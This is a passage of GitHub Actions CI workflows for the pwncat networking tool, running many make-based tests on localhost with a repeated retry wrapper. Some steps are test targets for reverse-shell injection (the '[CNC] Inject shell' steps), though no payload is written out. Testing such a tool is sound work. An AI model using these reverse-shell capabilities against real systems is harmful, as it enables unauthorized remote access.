correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 104" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-104 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Server quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--server-201 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Modes # ------------------------------------------------------------ - name: "[MODES] Local port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--local_forward env: RETRIES: 5 - name: "[MODES] Remote port forwarding" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-mode--remote_forward env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] -n/--nodns" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--nodns env: RETRIES: 5 - name: "[OPTIONS] -C/--crlf" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--crlf env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (keep open) # ------------------------------------------------------------ - name: "[OPTIONS] --keep-open 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-000 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-001 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-002 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-100 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-101 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-200 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-201 env: RETRIES: 5 - name: "[OPTIONS] --keep-open 202" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--keep_open-202 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options (reconn) # ------------------------------------------------------------ - name: "[OPTIONS] --reconn 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-000 env: RETRIES: 5 - name: "[OPTIONS] --reconn 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-001 env: RETRIES: 5 - name: "[OPTIONS] --reconn 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-options--reconn-002 env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Options # ------------------------------------------------------------ - name: "[OPTIONS] --ping-intvl" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_intvl env: RETRIES: 5 - name: "[OPTIONS] --ping-word" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make _test-options--ping_word env: RETRIES: 5 # ------------------------------------------------------------ # Tests: Behaviour (File Transfer) # ------------------------------------------------------------ - name: "[BEHAVIOUR] File Transfer: send normal" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_normal env: RETRIES: 5 - name: "[BEHAVIOUR] File Transfer: send on eof" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-base--file_transfer-send_on_eof env: RETRIES: 5 # ------------------------------------------------------------ # Tests: CNC Self-inject # ------------------------------------------------------------ - name: "[CNC] Inject shell: pwncat as rev shell" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-pwncat env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte)" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (multi byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed env: RETRIES: 2 - name: "[CNC] Inject shell: revshell with banner and suffix (single byte) - delayed" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed env: RETRIES: 2 pwncat-0.1.2/.github/workflows/test-x64-macos-pypy2.yml000066400000000000000000001215161414025024700227120ustar00rootroot00000000000000--- # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions # https://github.com/actions/python-versions/blob/master/versions-manifest.json name: mac-py2 on: pull_request: push: branches: - master tags: jobs: test: runs-on: macos-latest strategy: fail-fast: False name: "[x64] [macos] python-pypy2" steps: # ------------------------------------------------------------ # Setup # ------------------------------------------------------------ - name: Checkout repository uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: pypy2 architecture: x64 - name: Set up PHP uses: shivammathur/setup-php@v2 with: php-version: '7.4' ini-values: max_execution_time=300 - name: "Setup /etc/hosts for Linux" shell: bash run: | if [ `uname` = "Linux" ]; then echo "\$ cat /etc/hosts" cat /etc/hosts echo ( echo "127.0.0.1 localhost"; echo "::1 localhost ip6-localhost ip6-loopback"; ) | sudo tee /etc/hosts echo echo "\$ cat /etc/hosts" cat /etc/hosts fi - name: Display Bash version shell: bash run: | bash --version whereis bash || true which bash || true - name: Display Python version shell: bash run: | python -c "import sys; print(sys.version)" whereis python || true which python || true - name: Display PHP version shell: bash run: | php --version whereis php || true which php || true - name: Resolve localhost shell: bash run: | echo echo "\$ host localost" host localhost || true echo echo "\$ python -c 'import socket;print(socket.gethostbyname(\"localhost\"))'" python -c 'import socket;print(socket.gethostbyname("localhost"))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET))' || true echo echo "\$ python -c 'import socket;print(socket.getaddrinfo(\"localhost\", None, socket.AF_INET6))'" python -c 'import socket;print(socket.getaddrinfo("localhost", None, socket.AF_INET6))' || true # ------------------------------------------------------------ # Tests: Behaviour (Client) # ------------------------------------------------------------ - name: "[BEHAVIOUR] Client quits correctly 000" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-000 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 001" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-001 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 002" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-002 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 003" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-003 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 004" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-004 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 100" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-100 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 101" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-101 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 102" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-102 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 103" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-103 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 200" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" "${_target}" "TEST_PWNCAT_HOST=${_host}" "TEST_PWNCAT_PORT=${_port}" "TEST_PWNCAT_WAIT=${_wait}" "TEST_PWNCAT_RUNS=${_runs}"; then return 0; fi; sleep 10; done; return 1; } retry make __test-behaviour-quit--client-200 env: RETRIES: 5 - name: "[BEHAVIOUR] Client quits correctly 201" shell: bash run: | retry() { _make=${1} _target=${2} _host=${3:-localhost} _port=${4:-4444} _wait=${5:-5} _runs=${6:-1} for n in $(seq ${RETRIES}); do _port=$(( _port + n )) echo "[${n}/${RETRIES}] make ${_target} ${_host} ${_port} ${_wait} ${_runs}"; if "${_make}" 